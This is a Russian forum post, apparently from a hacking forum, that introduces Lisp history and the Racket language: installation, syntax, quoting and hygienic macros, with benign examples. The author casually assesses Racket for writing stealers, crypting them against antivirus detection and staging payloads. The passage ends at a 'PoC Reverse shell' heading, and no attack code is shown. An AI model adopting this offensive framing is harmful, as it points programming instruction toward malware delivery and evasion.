Маргинальные языки программирования #2 - Racket

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Предисловие

Всем привет!
С вами Патрик.

Я продолжаю цикл статей про маргинальные языки программирования, и сегодня у нас достаточно интересный гость - язык программирования Racket. Да-да, как же можно писать про всякую экзотику, и обойти при этом семейство лиспообразных.

Несмотря на то, что Лисп - второй из самых древних языков программирования высокого уровня, доживший до наших дней (уступает только Фортрану), и каждый год его усердно пытаются закопать недоброжелатели - но он все никак не помрет. Такая невероятная живучесть обусловлена одной из главных особенностей языка - удивительной возможностью быстро адаптироваться (да-да, мы все еще говорим про язык программирования, а не про какой-то зомби вирус) к окружающей действительности.

В сегодняшенм эссе я постараюсь вкратце познакомить вас с концепциями языков семейства Lisp, а также рассказать про один из самых живых, качественных и подходящих для знакомства с этим семейством представителя - язык Racket. Ну и по традиции покодим что-нибудь интересненькое и полезное.

Поехали!

lisp_cycles.png



Краткая историческая справка

Ну что же, начнем эту историю с путешествия в далекое прошлое, а именно - аж в 1958 год. Как это обычно принято, за каждым серьезным языком программирования должен стоять не менее серьезный бородатый дяденька, иначе не по канону. И такой бородатый дяденька у нас имеется.

Знакомьтесь, Джон Маккарти - американский информатик, профессор Массачусетского технологического, обладатель премии Тьюринга, основоположник функционального программирования и автор термина "искусственный интеллект".

В пятидесятых господин Маккарти занимался исследованиями в области ИИ, но к сожалению существовавшие на тот момент инструменты были скудны и не позволяли вдоволь разгуляться. Возникла потребность в создании нового языка программирования, адекватного задачам, решаемым в этой области.

Основой для лиспа послужил язык IPL - язык обработки списков для проекта автоматического вывода теорем математической логики. Собственно, Маккарти взял оттуда алгоритм работы со списками и решил реализовать его на Фортране. Но как-то не пошло.

И здесь позволю себе вбросить интересный факт. Лисп известен нам, как язык, состоящий из смайликов чуть более, чем полностью. Но знали ли вы, что в изначальном Лиспе синтаксис был совсем другой? Изначально в Лиспе использовались M-выражения, которые больше напоминают нам традиционный формат записи команд, а S-выражения использовались лишь для внутреннего представления, как промежуточное значение. Но разработка транслятора в M-выражения затянулась, все привыкли к скобочному синтаксису, и благополучно забили на это дело :D

Есть достаточно интересное мнение о том, что Маккарти не "изобрел" Лисп, а "открыл" его. Это отчасти правда, потому что именно S-выражения позволили языку превратиться в тот инструмент, про который слагают легенды, и по иронии - они не должны были присутствовать в финальной версии языка, а использовались лишь как вспомогательный инструмент.

Но, вернемся к истории. Следом за первой версией последовал Lisp 1.5, и язык взлетел. Судите сами, в бородатые годы, когда люди были маленькие, а компьютеры большие, в Лиспе уже было:​
  • Полноценная среда программирования - интерактивная среда включала в себя редактор кода, интерпретатор и отладчик​
  • Сборщик мусора​
  • Динамические типы данных​
И еще много других приколюх, которые сейчас нам кажется обыденностью, а в те года, для людей еще недавно писавших машинный код, это было как будто им Прометей огонь принес. Для справочки - до появления языка Си еще плюс минус 10 лет.

С 60х по 80ые в мире лиспов творилась лютая дичь - наплодилось куча реализаций, естественно несовместимых между собой. Каждый видел язык по своему, начали плодиться диалекты (Scheme, про который мы будем сегодня говорить, появился в 1976 году). Короче царил треш, угар и содомия, которая привела к ситуации, похожей на Вавилонскую башню.

К первой половине 80х существовало более 10 крупных и активно развивающихся диалектов Лиспа. Это очень круто, пока язык не выходит за пределы университетов, но невероятно плохо в продакшне. Для примера - можете посмотреть как больно разработчикам веб-приложений поддерживать три движка (реализованные в Chrome, Firefox и Safari соответственно). Постоянно где-то что-то не отрабатывает как надо из-за особенностей реализации. А теперь представьте, что платформ не три, а десять. Ад адовый.

Ну а дальше ситуация развивалась так - военным нужен был стандартизированный язык для своих, кхм, военных нужд. Взяли язык Ада, но не вышло. Тогда задонатили в Лисп и сказали - сделайте нормально, нам нужен стандарт.

Проектируемый стандарт с самого начала получил наименование «Common Lisp» («Общий Лисп»), подчёркивающее цель разработки — получить единый базовый язык, на основании которого можно было бы создавать программно-совместимые системы.

Разрабатывали всем селом (в том числе впервые - дистанционно, через сеть ARPANET) и в 1984 году процесс разработки стандарта успешно завершился и его результат был зафиксирован в первом издании руководства «Common Lisp: the Language» Гая Стила.

После этого Вавилонская башня понемногу утихла, в 1990 произошел пересмотр и значительное расширение стандарта, а в 1995 язык был стандартизирован ANSI. И плюс минус в таком виде язык Common Lisp и существует по наши дни.

Но, как заметил внимательный читатель, статья-то вовсе не про борщ (Common Lisp -> общелисп -> борщелисп, ну вы поняли, локальный мем). Статья про Racket, это вообще что, это вообще где и в какой момент мы свернули не туда?

А для того, чтобы разобраться в этом, давайте-ка поговорим про диалекты.

Что такое язык, диалект и реализация?

Для того, чтобы познать дзен Лиспа и не потеряться в обилии новых концепций, нам просто необходимо определить эти три термина и понять, что каждый из них означает.

Концепция дикая для многих современных языков программирования, но имхо - базовая и очень правильная.
Давайте объясню на очень-очень простом примере из реальной жизни, а именно - на примере обычных языков, на которых мы с вами говорим.

Есть язык - пусть для примера это будет английский. Несмотря не то, что язык один, в разных частях света и странах говорят на нем немного по-разному (ну или сильно по-разному).

Если вы возьмете американца, британца и допустим шотландца - каждый из них будет абсолютно уверен, что говорит на английском. Но их произношение будет настолько отличаться, что они с трудом будут понимать друг друга (реальная ситуация, без шуток, погуглите про шотландский акцент).

Более того, даже, кхм, "ключевые слова" в этих языках отличаются.​
  • autumn == fall​
  • biscuit == cookie​
  • film == movie​
  • flat == apartment​
И это совсем базовые повседневные слова, без сленга.

Так вот, английский ЯЗЫК этих трех граждан - это ДИАЛЕКТЫ.
То есть язык один, но говорят они на нем по-разному, используя различные слова и конструкции.

Окей, с этим разобрались, остался еще один термин - реализация. Тут тоже все достаточно просто, как и в жизни. Американский английский общий для всех американцев, но каждый конкретно взятый американец говорит на нем по-своему. Использует характерные для себя речевые обороты, возможно сленг, возможно картавит или еще что-то.

Это РЕАЛИЗАЦИЯ - конкретное реальное воплощение выдуманных сущностей под названием язык и диалект.

В случае языков программирования это работает так:​
  • Есть язык Лисп, и он один, включает в себя несколько диалектов​
  • Есть диалекты - Common Lisp, Scheme, Clojure. Это все еще абстрактные сущности, описанные только на бумаге, в голове у создателей или в википедии​
  • И есть реализации - реально существующие интерпретаторы и компиляторы диалектов Common Lisp, Scheme и так далее​
Такая концепция разделения достаточно логичная и на самом деле встречается повсеместно, просто часто слипаются понятия язык-диалект или диалект-реализация. Потому что у молодых языков как правило один язык, один диалект и одна реализация.

Из примеров - у языка С есть несколько реализаций, например gcc и clang.
У языка Python также есть несколько реализаций - CPython, IronPython и PyPy.

Термин диалекты как правило не используется в современных языках программирования, потому что новые диалекты как правило сразу вырождаются в новые отдельные языки со своими реализациями и приходят к формуле "язык == диалект == реализация". Из примеров на ум приходят разве что некоторые языки семейства ML.

И теперь, когда мы определились с терминологией - пришло время поговорить про Racket - реализацию диалекта Scheme языка Лисп.

Racket

Изначально язык назывался PLT Scheme и был разработан в качестве обучающего продукта для начинающих программистов. Поставлялся в виде среды разработки DrSchemer (сейчас DrRacket) и был дополнен различными обучающими языками программирования.

Позднее ребята выпустили достаточно крутую и культовую книгу How to Design Programs (HtDP), а затем, в 2010 году, провели ребрендинг своего детища и так появился Racket. Сязано это было в основном с тем, что Racket объективно перерос статус "еще одной реализации Scheme" и выродился в новый, более комплексный язык программирования

В 2018 году свой кастомный интерпретатор заменили на Chez Scheme, и стало совсем хорошо.

И на этом моменте неплохо бы вдумчивому читателю задать вопрос: Патрик, а почему именно Racket?
Почему из всех реализаций языка Scheme ты выбрал именно эту, что в ней такого особенного?

Ну что ж, давайте знакомиться, пройдя по нашим ставшим уже классическими пунктам.

Экосистема и установка

Я никогда не устану говорить про это и тыкать носом разработчиков языков программирования и другого ПО. Хотите, чтобы вашим продуктом пользовались? Делайте блин простую установку. Вокруг уже столько примеров, как можно сделать удобно, просто и в одну команду.

Слава богу, ребята из Racket осилили - под каждую поддерживаемую систему и разрядность есть установщик. Скачал. Запустил. Наслаждаешься.

Не пугайтесь жирнющего установщика (версия под Линукс х64 весит аж 236 метров) - просто туда понапихали всякого, включая среду разработки DrRacket. Если вам нужен только сам язык и пакетный менеджер - на сайте есть установщик Minimal Racket (32.5 мб), а все остальное можно будет доустановить позже, по мере необходимости.

Окей, с установкой все понятно и просто, за это Racket получает плюс.
Что там у нас дальше?

Про среду разработки DrRacket могу сказать вот что - наверняка это зашибись для обучения программированию, потому что здесь нет ничего лишнего, все просто и понятно. Но для боевых задач я предпочту VS Code. Запомните эту мысль, мы еще много раз вернемся к ней в разных контекстах в ходе сегодняшней статьи.
ide-support.png


Но вообще за IDE из коробки тоже ставим плюс, потому что даже если мы ей не будем пользоваться, это серьезный показатель. Разработчики как бы говорят нам - смотрите, пацаны, на этом языке можно писать GUI и десктопный софт. И мы им конечно же верим.

Также в дефолтной поставке нам доступен менеджер пакетов raco, который умеет весь джнетльменский набор. Из особенностей - создатели позиционируют raco как "инструменты командной строки для Racket", поэтому помимо управления пакетами у нас тут до кучи:​
  • Компиляция в байткод и декомпиляция обратно​
  • Сборка экзешников и их дистрибуция​
  • Линкер​
  • Тесты погонять можно​
  • Поискать и почитать доксы можно​
  • А также можно дописывать свои кастомные команды​

В целом - удобно и просто, вопросов нет.

Документация

Этот момент я просто не мог не выделить в отдельный пункт.
У Racket одна из лучших документаций, что я видел в своей жизни. А живу я уже достаточно и доксов перечитал дай боже.

И вот важный момент - я не говорю что она красивая, тот же VuePress делает визуально намного более современные доксы. Попробую объяснить.

Racket изначально планировался как обучающий продукт. Он таковым по сути и остается. Доксы Racket писали настолько душные чуваки из научной братии, что здесь описано все. Буквально все. Любой несчастный if-else снабжен:​
  • Осознанными названиями аргументов, по которым понятно что это​
  • Их типами​
  • Подробным описанием того, что эта штука делает, а также как и где ее применять​
  • Парочкой примеров, чтобы вам совсем по кайфу было​

При этом все это нашпиговано сквозными ссылками под завязку и весьма грамотно структурировано. Ах да, ну и система поиска есть.

Реально, где вы еще видели, например, такое про операцию сложения:
Screenshot at 2023-11-14 19-56-41.png



Короче, если бы я ставил оценку за документацию к этому продукту - это было бы 12 из 10.

Но следом вброшу чуть заранее ложку дегтя, чтобы внимательному читателю не казалось, что я излишне нахваливаю язык Racket. Доксы настолько офигенны, что это вводит в определенное заблуждение - кажется что раз все так круто описано, то и работать все должно не менее круто.

К сожалению, это не так. При ближайшем рассмотрении оказывается, что многого функционала для боевых задач нет и его придется реализовывать самостоятельно. Функционал из старых модулей может быть чудесно задокументирован, но не работать в принципе, и придется лезть в сорцы чтобы это исправить.

Структура кода и синтаксис

Окей, Racket мы установили, с базовой поставкой тоже разобрались.
Время писать хэллоуворлды и разбирать синтаксис (если то, с чем мы работаем в семействах языков лисп можно назвать синтаксисом).

Чтобы сразу на примерах, создадим файл с расширением - hello.rkt и напишем туда код нашей программы:
Код: Скопировать в буфер обмена
Код:
#lang racket

(displayln "Hello, XSS!")

Ну и соответственно запустим его, и увидим нужную нам надпись, убедившись что все у нас работает как надо
Код: Скопировать в буфер обмена
Код:
$ racket hello.rkt
Hello, XSS!

Тут я сразу хочу обратить внимание на две вещи.

Первая - чисто рэкетовская особенность синтаксиса, обусловленная тем, что Racket - амбассадор языково-ориентированного программирования и позиционирует себя как удобный инструмент для создания новых языков.

Это директива lang.

А прикол тут вот в чем - Racket позволяет нам немного поиграть в полиглота и писать код на большом количестве языков в рамках одного проекта. Чтобы интерпретатор/компилятор понял, как ему сейчас читать код и что с ним делать, используется директива lang. Под капотом все тоже очень просто - вызывается соответствующий reader macro.

Пара примеров языков, реализованных на Racket

Typed Racket - тот же Racket, но со строгой типизацией
Код: Скопировать в буфер обмена
Код:
#lang typed/racket
(struct pt ([x : Real] [y : Real]))
 
(: distance (-> pt pt Real))
(define (distance p1 p2)
  (sqrt (+ (sqr (- (pt-x p2) (pt-x p1)))
           (sqr (- (pt-y p2) (pt-y p1))))))

Scribble - язык для генерации PDF и HTML
Код: Скопировать в буфер обмена
Код:
#lang scribble/base
 
@title{On the Cookie-Eating Habits of Mice}
 
If you give a mouse a cookie, he's going to ask for a
glass of milk.

Datalog - логический язык программирования
Код: Скопировать в буфер обмена
Код:
#lang datalog

parent(john, douglas)
    ancestor(A, B) :-
        parent(A, B)
    ancestor(A, B) :-
        parent(A, C),
        ancestor(C, B)

Из лулзов есть православный язык программирования Адина (для любителей 1С и кодить на кириллице).

Тут я думаю даже без понимания что конкретно делают эти три примера, видно невооруженным глазом, что это реально три разных языка с тремя разными синтаксисами. Но все три реализованы штатными средствами Racket, и это впечатляет (по крайней мере когда я питонистам такое показываю, они ссут кипятком и идут читать про Лисп).

Второе, на чем я хотел бы остановиться - собственно, вторая строчка нашего хэллоуворлда. Это то, за что лисперы любят лисп, а все остальные его люто ненавидят - S-выражения.

Чтобы сильно не упарываться, расскажу вкратце, как это работает, в чем прикол и почему бы не писать как все нормальные люди (эту фишку кстати поддерживают все Scheme, используя SIX еще с бородатых годов. Становится похоже на Ruby, который кстати тоже многие считают лиспом без скобочек).

Типичный код на лиспах выглядит примерно вот так:
Код: Скопировать в буфер обмена
Код:
(define frame (new frame% [label "Guess"]))

(define secret (random 5))
(define ((check i) btn evt)
  (define found? (if (= i secret) "Yes" "No"))
  (message-box "?" found?)
  (when (= i secret)
    (send frame show #false)))

(for ([i (in-range 5)])
   (new button%
        [label (~a i)]
        [parent frame]
        [callback (check i)]))

(send frame show #t)

С непривычки очень больно, особенно математические операции. Дело в том, что LISP == LISt Processing language, то есть язык обработки списков. И с кодом язык работает как с большим списком с вложениями.

Прикол тут вот в чем. Внимательный читатель заметит, что на самом деле исходный код любой программы на лиспе - это уже готовое AST. Его не надо парсить, оно просто сразу есть.

Просто постарайтесь осознать этот дзен. По сути у Лиспа нет синтаксиса. Вы одинаково (визуально) создаете списки, переменные, функции, объекты, методы, итераторы и все, что душе угодно. А это в свою очередь позволяет вам реализовывать функционал, которого не было в языке изначально.

Краткий пример - в Python есть новая (относительно) и прикольная штука под названием генераторы списков:
Python: Скопировать в буфер обмена
Код:
initial_list = [1, 2, 3]
generated_list = [x*2 for x in initial_list]

Допустим мне эта конструкция понравилась и я хочу так же.
Беру и пишу так же:
Код: Скопировать в буфер обмена
Код:
(define initial-list '(1 2 3))
(define generated-list
  (genlist (* x 2) for x in initial-list))

И потом когда надо будет - реализую макрос genlist.

На мой взгляд именно эта фича - возможность изменять язык под свои задачи - и является причиной того, что Лиспы со всеми своими недостатками все еще живы. Очень сложно соперничать с языком, в который может как вирус, настолько быстро мутировать и адаптироваться под изменяющуюся реальность.

Хочешь новую фичу? Добавь.
Всю жизнь мечтал создавать функции командой createFuckingFunction? Создавай, и никто тебя не остановит.

Но, не будем сильно глубоко нырять в макросы и магию Лиспа (пока). Пройдемся по основным ключевым моментам.

Вернемся к нашему хэллоуворлду и немного подправим его, чтобы получилось GUI приложение.
Код: Скопировать в буфер обмена
Код:
#lang racket/gui
(require racket/gui/base)

(define frame (new frame% [label "Hello, World!"]))
 
(define msg (new message% [parent frame]
                          [label "No events so far..."]))
 
(new button% [parent frame]
             [label "Click Me"]
             (callback (lambda (button event)
                         (send msg set-label "Clicked!"))))
 
(send frame show #t)

Здесь мы видим, как происходит импорт модулей в Racket (ничего необычного) и систему работы с графическими интерфейсами - тут тоже все достаточно прозаично, обычный декларативный стиль, похожий чем-то на нашего предыдущего гостя Red.

Окей, а давайте-ка мы возьмем пару примеров и соберем их в standalone executable, чтобы плюс минус понять размер файлов на выходе.

Пример 1 - Hello World, использующий racket/base
Код: Скопировать в буфер обмена
Код:
#lang racket/base
(displayln "Hello, XSS")
На выходе - 2 мб

Пример 2 - Hello World, использующий основной racket
Код: Скопировать в буфер обмена
Код:
#lang racket
(displayln "Hello, XSS")
Посмотрите какое незначительное отличие в директиве lang, но какие разительные изменения на выходе. Вес - 12 мб, что в шесть раз больше первого примера. Это связано с тем, что base - базовый язык, как следует из названия. А основной - тащит с собой весь бойлерплейт, что и приводит к увеличению веса.

Пример 3 - Hello World на R6RS (базовый стандарт языка Scheme)
Код: Скопировать в буфер обмена
Код:
#lang r6rs
(displayln "Hello, XSS")
И тут уже нас ждет не совсем приятный сюрприз. Очевидно, что R6RS меньше как язык, чем Racket. Он даже меньше, чем racket/base. И на выходе мы ожидаем маленький компактный файл. Но это не так. Вес на выходе - 12 мб. Дело тут в том, что все языки, реализованные на Racket будут тащить с собой собственно сам Racket (в качестве движка). Поэтому, если вам нужен реально маленький размер файла - лучше обратить внимание на другие реализации Scheme.
При этом хочу обратить внимание на то, что для большинства задач 12 мегабайт - все еще очень разумный вес для системы, способной выполнять код на кастомном языке.

Пример 4 - Hello World с GUI
Тут уже все ожидаемо - вес должен быть еще больше, и так оно и есть. Вес на выходе - 22 мб. Опять же, много это или мало - зависит от специфики ваших задач. За небольшой доп вес вы получаете отсутствие мозгоебства с установкой зависимостей и полностью портативный софт с графическим интерфейсом. Если сравнивать с жирнейшим электроном, у которого размер файлов в среднем 300 метров - так вообще сказка.

Какие выводы мы можем сделать, исходя из этих данных?
Да если честно, особо никаких. Повторюсь - много это или мало зависит исключительно от ваших задач, как и от векторов атак. Да, наверняка писать стиллер на Racket, паковать его в архив и кидать на амбразуру - не лучшая затея, просто потому что вы запаритесь криптовать 2 мб (или 12 мб, в зависимости от комплектации). Но с текущими скоростями размер файлов в целом приемлемый для загрузки даже по мобильному интернету, поэтому если вы используете стейджинг - никаких проблем не возникнет.

Cheat Sheet по синтаксису

Типы данных тут классические:​
  • Boolean - #t и #f, аналоги true и false, соответственно​
  • Числа - условно делятся на точные и неточные. Точные - это целые числа, дроби и комплексные числа с целыми действительной и мнимой частями. Неточные - это наши числа с плавающей запятой, а также комплексные в которых одна из частей с плавающей запятой​
  • Символы - классические юникод символы, обозначаются вот так #\A​
  • Строки - тоже обошлось без извратов. Строка - это просто массив символов​
  • Байты и байтовые строки - аналогично, обозначаются вот так #"Apple"​
  • Символы - особый, чисто лисповский тип данных. Представляет из себя атомарное значение, записывается с помощью одинарной кавычки 'a, 'bob и так далее. Используется глобально - для подавления вычисления. Локально - чаще всего так передаются идентификаторы, например названия переменных и функций​
  • Пары и списки - опять же, родной и неотъемлемый тип данных для лиспов. Пара выглядит вот так '(1 . 2), а список вот так '(1 2 3). В плане реализации представляет собой классический односвязный список. Не буду вдаваться сильно в подробности, если интересно - можете почитать про cons cells и как это работает.​
  • Хэш-таблицы, они же словари - абсолютно упоротые. При создании обязательно указать, какой оператор сравнения будет использоваться - а их тут три штуки. При этом на каждый из трех вариантов есть еще два - мутабельные и иммутабельные. Итого шесть разных хеш таблиц. При этом в иммутабельные таблицы тоже можно добавлять новые ключи. У новичков вызывает лютый ступор, потому что словари - настолько распространенная структура данных, что хочется чтоб она была одна, рабочая и понятная​
Глобальные переменные создаются вот так:
Код: Скопировать в буфер обмена
(define x 1)

А локальные вот так:
Код: Скопировать в буфер обмена
Код:
(let ((x 1))
  (displayln x))

Можно задать локальные переменные рекурсивно:
Код: Скопировать в буфер обмена
Код:
(letrec ([swing
            (lambda (t)
              (if (eq? (car t) 'tarzan)
                  (cons 'vine
                        (cons 'tarzan (cddr t)))
                  (cons (car t)
                        (swing (cdr t)))))])
    (swing '(vine tarzan vine vine)))

Также можно создавать именованные блоки локальных переменных - чтобы можно было прыгать по коду и реализовать рекурсию
Код: Скопировать в буфер обмена
Код:
(define (duplicate pos lst)
  (let dup ([i 0]
            [lst lst])
   (cond
     [(= i pos) (cons (car lst) lst)]
     [else (cons (car lst) (dup (+ i 1) (cdr lst)))])))
 
> (duplicate 1 (list "apple" "cheese burger!" "banana"))

'("apple" "cheese burger!" "cheese burger!" "banana")

Функции в Racket создаются тем же способом, что и переменные:
Код: Скопировать в буфер обмена
Код:
(define (f x)
  (+ x 1))

По сути это синтаксический сахар для (define f (lambda ...)).

И вызываются функции вот так:
Код: Скопировать в буфер обмена
Код:
> (f 2)
3

Поскольку Racket - реализация языка программирования Scheme, функциональный стиль для него является родным, со всеми вытекающими. Здесь есть лямбды, функции как объекты первого порядка, замыкания, продолжения и так далее.

Условные операторы - их четыре, потому что зачем еще что то.

Классически if-else
Код: Скопировать в буфер обмена
Код:
(if (> x 1)
  "more"
  "less")

И cond, для серии проверок
Код: Скопировать в буфер обмена
Код:
(cond
   [(positive? -5) (error "doesn't get here")]
   [(zero? -5) (error "doesn't get here, either")]
   [(positive? 5) 'here])

When и unless, для любителей писать if по-своему:
Код: Скопировать в буфер обмена
Код:
(when (positive? -5)
    (display "hi"))
    
(unless (positive? 5)
    (display "hi"))

Кстати да, обратили внимание на квадратные скобки в примере про cond? Достаточно интересный прикол языка Racket: можно использовать для записи кода любой тип скобок - квадратные, круглые и фигурные. И комбинировать их по-разному, главное чтобы открывающаяся и закрывающаяся скобка совпадали по типу (то есть открыть круглой, а закрыть квадратной не получится).

Сомнительно применение этой фичи в реальном мире, потому что во всех редакторах сейчас есть выделение скобочек цветом + автоматическое закрытие, поэтому запутаться вряд ли получится. Но прикольно, если вас допустим бесит нажимать шифт, но у вас очень развитый мизинец правой руки - можно все писать в квадратных скобках.

Присваивание и другие деструктивные операции

В языках, которые стремятся к чистоте, неизменяемости данных и функциональной парадигме, принято выделять конструктивные и деструктивные операции.

Конструктивные - это операции или функции, которые НЕ изменяют объект, а возвращают новый с необходимыми изменениями.

Деструктивные же операции изменяют сам объект. Принято считать, что такой подход более опасный и потенциально ведет к большему количеству труднообнаружимых ошибок. Поэтому в некоторых языках, и в том числе в Racket принята следующая конвенция.В имени деструктивного оператора или функции обязательно в конце должен быть восклицательный знак.

Например, присваивание выглядит вот так:
Код: Скопировать в буфер обмена
(set! x 1)

В дополнение к этому есть соглашение, что предикаты (функции, возвращающие булево значение) заканчиваются вопросительным знаком.

Скажу честно - это реально удобно и я лично стараюсь придерживаться подобной практики во всех проектах с которыми работаю, независимо от языка. Потому что дописать символ в конец не сложно, зато можно по одному только названию функции понять, что она делает и как она это делает. Берем на заметку.

Про кавычку

Одна из самых важных тем в работе с любыми лиспообразными языками. Как мы уже видели на примерах, в Racket код равно данные, а данные равно код, все это смешано перемешано и свободно преобразуется друг в друга. Как понять что есть что? Как сказать, что именно я хочу сделать - вызвать функцию или на первое место в списке поставить функцию? Во всем этом сейчас разберемся.

Необходимые нам символы:​
  1. ' - одинарная кавычка, она же quote. Обозначает подавление вычисления​
  2. ` - квазикавычка, она же косая одинарная кавычка, она же обратная кавычка, она же quasiquote/backquote. Также подавляет вычисление, как и обычная одинарная, но позволяет делать внутри немного магии из следующих пунктов​
  3. , - запятая, она же comma/unquote. Обозначает кавычку наоборот - то есть провоцирует вычисление того, перед чем стоит​
  4. @ - собака. Обозначает распаковку значения из "списка".​
Для старта достаточно, давайте поглядим как это все работает на примерах. Итак, у нас есть переменная х:
Код: Скопировать в буфер обмена
(define x 1)

Если мы просто введем х в репле - получим значение. Как нам получить именно символ х? Тут все просто, ответ уже содержится в вопросе - тип данных символ даже записывается с одинарной кавычкой:
Код: Скопировать в буфер обмена
Код:
> x
1

> 'x
x

Окей, а что будет, если мы возьмем список (1 2 3 4 5)?
Код: Скопировать в буфер обмена
Код:
> (1 2 3 4 5)
; application: not a procedure;
;  expected a procedure that can be applied to arguments
;   given: 1
; [,bt for context]

Ошибка, потому что 1 - не функция. Чтобы получить из этого список, нужно сделать что? Правильно, использовать кавычку!
Код: Скопировать в буфер обмена
Код:
> '(1 2 3 4 5)
'(1 2 3 4 5)

То же самое с вызовами функций. Нет кавычки - вычисляется, есть кавычка - это просто список.
Код: Скопировать в буфер обмена
Код:
> (define (f x) (+ 1 x))
> (f 1)
2
> '(f 1)
'(f 1)

Окей, а как же тогда работает и для чего нужна квазикавычка? Все просто, она точно так же подавляет выполнение, но при этом позволяет внутри выражения опять это выполнение инициировать.

Например, можно делать вот так:
Код: Скопировать в буфер обмена
Код:
> `(1 2 ,(+ 1 2))
'(1 2 3)

Как уже понял внимательный читатель - запятой мы снова вызываем выполнение, а с помощью собаки - просто убираем вложенность.

Для чего нам может все это понадобиться, спросите вы?
Для того, что делает Racket и в целом лиспы такими особенными - макросы.

Примечание:
Конечно, в Racket есть и паттерн матчинг, и акторы, и ООП, и эфемероны, и ленивые вычисления, и все, что вы когда-либо встречали или не встречали в других языках программирования. Я специально не стал разбирать все приколюхи, потому что во-первых это огромный объем информации, а во-вторых - ну надо же оставить читателю что-то для самостоятельного изучения и просвещения.

Макросы

Как я уже говорил, вокруг Лиспа ходит много легенд и слухов. Язык для разработки ИИ, созданный в застенках технических институтов серьезными дядями, а затем стандартизированный военными. Язык, который как пластилин превратится в то, что вы из него сделаете. Язык, про который говорят, что он создан для задач, которые невозможно решить используя другие языки программирования (что, строго говоря неправда, из-за эквивалентности полных по Тьюрингу языков).

На мой взгляд все эти мысли слегка преувеличены, но доля правды в них все-таки есть. Есть у лиспов фишка, которая неразрывно связана с синтаксисом в виде S-выражений и которой действительно нет в других языках. Фишка, из-за которой тот же Common Lisp до сих пор живее всех живых, и переживет кучу модных языков, которые сейчас на пике популярности.

Это макросы.

Про макросы писать довольно сложно, потому что практически невозможно объяснить человеку, который с ними не сталкивался, нафига они собственно нужны. Но я попытаюсь, и начну с самых основ.

Макросы - это, цитируя классиков, "программы, которые пишут программы". Проще говоря, это операторы, которые реализуются через трансформацию. Определяя макрос, вы указываете как его вызов должен быть преобразован. Само преобразование автоматически выполняется компилятором и называется раскрытием макроса (macro expansion). Код, полученный в результате раскрытия макроса, естаественным образом становится частью программы, как будто бы его написали вы.

Например, and - это макрос.
Код: Скопировать в буфер обмена
(and (expr a) (expr b) (expr c))

Это выражение во время компиляции развернется в следующее:
Код: Скопировать в буфер обмена
Код:
(if (expr a)
    (if (expr b)
        (expr c)
        #f)
    #f)

С практической точки зрения, макросы интересы по двум причинам:
1) На уровне программы, макросы позволяют нам делать то, чего нельзя добиться обычными функциями.

Для примера - допустим мы хотим реализовать вот такую конструкцию "report", которая печатает выражение в консоль, а затем возвращает это выражение для дальнейших вычислений
Код: Скопировать в буфер обмена
(report (+ 1 2 3 4))

Если бы report был обычной функцией, выражение (+ 1 2 3 4) вычислялось бы в число 10, которое затем передавалось бы в качестве аргумента функции. Но мы не смогли бы напечатать оригинальное выражение, поскольку функция report его никогда не видела.

Если же мы реализуем report как макрос, он будет выглядеть вот так:
Код: Скопировать в буфер обмена
Код:
(define-macro (report EXPR)
  #'(begin
      (displayln (format "input was ~a" 'EXPR))
      EXPR))

Теперь, если мы выполним код, мы получим ожидаемый верный результат:
Код: Скопировать в буфер обмена
Код:
> (report (+ 1 2 3 4))
input was (+ 1 2 3 4)
10

2) На уровне компилятора, макросы позволяют нам транслировать более сложные конструкции в примитивные формы, вплоть до базовых синтаксических форм. Это позволяет языку в конечном итоге работать только с небольшим множеством синтаксических форм, а следовательно компилировать, оптимизировать и выполнять программы более эффективно.

Для того, чтобы понять как это все работает, важно отличать три стадии работы программы (применимо не только в Racket, но и во всех остальных языках программирования. Просто тут это реально имеет большое значение):​
  • Read time - это момент, когда компилятор читает код вашей программы. То есть самое-самое начало. Макросы, работающие в этот момент, называются reader macros, и именно они отвечают за парсинг новых языков программирования и изменение синтаксиса. Вместе с тем, ридер макросы являются самыми сложными для реализации, поэтому в этой статье мы не будем акцентировать на них внимание.​
  • Compile time - это момент, когда компилятор успешно прочитал и распарсил ваш код, и приступает собственно к сборке исполняемого файла. Именно в это время отрабатывает большинство наших макросов, а называть их принято просто macros.​
  • Run time - это момент, когда программа успешно собрана и исполняется. В этот момент синтаксические преобразования, как правило, не производятся.​

Как уже понял вдумчивый читатель, разработка и проектирование макросов - это отдельная, совсем нетривиальная дисциплина, и выстрелить себе в ногу тут можно ой как много раз. В частности, один из частых фейлов - непреднамеренный захват переменной.

Простыми словами - это когда вы используете в макросах какие-то имена переменных, а при раскрытии макроса код вставляется в то место, где такие переменные уже есть.

Небольшой псевдо-пример, допустим у нас есть макрос "(defx 5)", задача которого - создать переменную Х и присвоить ей значение пять. И разворачивается он во что-то такое:
Код: Скопировать в буфер обмена
(define x 5)

Что произойдет, если переменная Х уже была у нас в коде программы ранее и за что-то отвечала? Верно, она перезапишется и это потенциально очень труднообнаружимая ошибка. Второй вариант - если вы используете в макросах стандартные имена библиотечных функций, а эти функции в программе были переопределены.

Поскольку макросы присутствуют в Лиспах примерно везде, представьте в какое адище все это превращается, особенно учитывая что макросы могут быть и в подключаемых модулях, и в вашем собственном коде.

Короче, вопрос встал остро, поэтому теперь макросы принято делить на две категории:​
  • Негигиенические - это макросы без дополнительных ограничений, можно реализовать примеры выше и стрелять себе в ноги сколько угодно раз. Такая система используется в Common Lisp. Можно захватывать переменные, грабить корованы и делать любые грязные хаки​
  • Гигиенические - это макросы, в которых всем локальным переменным во время раскрытия присваивается уникальный идентификатор. Захват переменных исключен, все работает как вы запланировали. Такие макросы являются стандартом языка Scheme и именно они у нас в Racket.​

Создаются маркосы в Racket разнообразным количеством способов, и если честно - не совсем удобно. Приходится постоянно прыгать между типами datum и syntax, а уж про грязные хаки можно точно забыть - обойти гигиеническую модель не так-то просто.

Самый удобный формат для базовых трансформаций кода - это объединение макросов с паттерн матчингом:
Код: Скопировать в буфер обмена
Код:
(define-syntax (swap stx)
    (syntax-case stx ()
      [(_ a b) #'(let ([t a])
                   (set! a b)
                   (set! b t))]))

Таким образом можно реализовывать и добавлять новый функционал, если основная задача плюс минус как у функций.

К сожалению, вопрос гигиены макросов - знатная тема для холиваров. Для базовых, "учебных" трансформацией все ок, и порог входа довольно низкий. Но с плюс минус сложными макросами у Racket начинаются пляски с бубном, потому что система syntax спроектирована, скажем так, весьма сомнительно.

Окей, я думаю пора бы нам покодить что-нибудь полезное, поэтому едем дальше.

PoС Reverse shell

Так, ну я думаю мы сразу скипнем момент с базовым стилером и вот это вот все, что пишется плюс минус одинаково на всех языках. Давайте сразу к интресному.

